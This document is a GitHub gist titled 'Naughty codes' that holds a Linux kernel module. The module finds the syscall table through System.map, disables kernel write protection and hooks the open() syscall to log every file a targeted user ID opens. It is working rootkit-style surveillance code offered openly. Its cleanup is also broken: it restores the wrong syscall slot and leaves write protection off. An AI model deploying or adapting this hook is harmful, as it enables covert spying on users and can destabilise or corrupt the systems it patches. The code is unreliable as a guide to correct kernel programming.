Skip to content

Instantly share code, notes, and snippets.

@17twenty
Created May 2, 2012 13:23
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 17twenty/2576496 to your computer and use it in GitHub Desktop.
Save 17twenty/2576496 to your computer and use it in GitHub Desktop.
Naughty codes
/* syscallReplace.c
* Replaces the 'open()' syscall and replaces it with something
* that looks for a given UID and reports it if it matches to klog
* This makes liberal use of some awesome code from the LKML and a syscall
* table finding technique from memset.
*/
/* Standard in kernel modules */
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/proc_fs.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <asm/unistd.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/fcntl.h>
#include <asm/uaccess.h>
#include <linux/version.h>
#include <linux/syscalls.h>
/* For the current (process) structure, we need
* this to know who the current user is. */
#include <asm/uaccess.h>
#define BOOT_PATH "/boot/System.map-"
#define MAX_LEN 256
#define PROC_V "/proc/version"
/* In the older kernel versions, we could just extern this and life would be good
* but in the newer versions *i believe* we have to search for it...
*/
unsigned long *syscall_table;
int sys_found = 0;
/* UID we want to spy on - will be filled from the
* command line */
int uid;
module_param(uid, int, 0644);
/* We want to store a link to the original call so we can put it back later
* but the symbol isn't exported (static) so we need to be awesome */
asmlinkage int (*original_call)(const char *, int, int);
/* Use this to sniff UID */
asmlinkage int (*getuid_call)(void);
char *search_file(char *buf) {
struct file *f;
char *ver;
mm_segment_t oldfs;
oldfs = get_fs();
set_fs (KERNEL_DS);
f = filp_open(PROC_V, O_RDONLY, 0);
if (IS_ERR(f) || (f == NULL)) {
return NULL;
}
memset(buf, 0, MAX_LEN);
vfs_read(f, buf, MAX_LEN, &f->f_pos);
ver = strsep(&buf, " ");
ver = strsep(&buf, " ");
ver = strsep(&buf, " ");
filp_close(f, 0);
set_fs(oldfs);
return ver;
}
/* Function to find our sysmap location */
static int find_sys_call_table (char *kern_ver)
{
char buf[MAX_LEN];
int i = 0;
char *filename;
char *p;
struct file *f = NULL;
mm_segment_t oldfs;
oldfs = get_fs();
set_fs (KERNEL_DS);
filename = kmalloc(strlen(kern_ver)+strlen(BOOT_PATH)+1, GFP_KERNEL);
if ( filename == NULL ) {
return -1;
}
memset(filename, 0, strlen(BOOT_PATH)+strlen(kern_ver)+1);
strncpy(filename, BOOT_PATH, strlen(BOOT_PATH));
strncat(filename, kern_ver, strlen(kern_ver));
printk(KERN_ALERT "\nPath %s\n", filename);
f = filp_open(filename, O_RDONLY, 0);
if (IS_ERR(f) || (f == NULL)) {
return -1;
}
memset(buf, 0x0, MAX_LEN);
p = buf;
while (vfs_read(f, p+i, 1, &f->f_pos) == 1) {
if ( p[i] == '\n' || i == 255 ) {
i = 0;
if ( (strstr(p, "sys_call_table")) != NULL ) {
char *sys_string;
sys_string = kmalloc(MAX_LEN, GFP_KERNEL);
if ( sys_string == NULL ) {
filp_close(f, 0);
set_fs(oldfs);
kfree(filename);
return -1;
}
memset(sys_string, 0, MAX_LEN);
strncpy(sys_string, strsep(&p, " "), MAX_LEN);
syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16);
kfree(sys_string);
break;
}
memset(buf, 0x0, MAX_LEN);
continue;
}
i++;
}
filp_close(f, 0);
set_fs(oldfs);
kfree(filename);
return 0;
}
/* Function we replace the sys_open with.
* Prototype gleaned form the source code (open.c)
*/
asmlinkage int our_sys_open(const char *filename,
int flags,
int mode)
{
int i = 0;
char ch;
/* Check if this is the user we're spying on */
if (uid == getuid_call()) {
/* getuid_call is the getuid system call,
* which gives the uid of the user who
* ran the process which called the system
* call we got */
/* Report the file, if relevant */
printk("Opened file by %d: ", uid);
do {
get_user(ch, filename+i);
i++;
printk("%c", ch);
} while (ch != 0);
printk("\n");
}
/* Call the original sys_open - otherwise, we lose
* the ability to open files */
return original_call(filename, flags, mode);
}
/* Initialize the module - replace the system call */
int __init sysReplace_init_module(void)
{
char *kern_ver;
char *buf;
buf = kmalloc(MAX_LEN, GFP_KERNEL);
if (buf == NULL) {
sys_found = 1;
return -1;
}
printk(KERN_ALERT "\nHijacking system call\n");
/* Find our kernel */
kern_ver = search_file(buf);
if ( kern_ver == NULL ) {
sys_found = 1;
return -1;
}
printk(KERN_ALERT "Found Kernel version: %s\n", kern_ver);
printk(KERN_ALERT "Searching for syscall_table. Prepare to crash!\n");
if (find_sys_call_table(kern_ver) == -1 ) {
sys_found = 1;
return -1;
}
printk("FOUND IT! AWW SHI-\n");
sys_found = 0;
write_cr0 (read_cr0 () & (~ 0x10000));
/* Keep the original somewhere safe and patch ours in */
original_call = syscall_table[__NR_open];
syscall_table[__NR_open] = our_sys_open;
/* To get the address of the function for system
* call foo, go to sys_call_table[__NR_foo]. */
printk("Spying on UID:%d\n", uid);
/* Get the system call for getuid */
getuid_call = syscall_table[__NR_getuid];
kfree(buf);
return 0;
}
/* Do cleanup... we try and replace the call... this may go badly */
void __exit sysReplace_cleanup_module(void)
{
if ( sys_found == 0 ) {
write_cr0 (read_cr0 () & (~ 0x10000));
syscall_table[__NR_setreuid32] = original_call;
write_cr0 (read_cr0 () | 0x10000);
}
}
module_init(sysReplace_init_module);
module_exit(sysReplace_cleanup_module);
MODULE_LICENSE("GPL");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment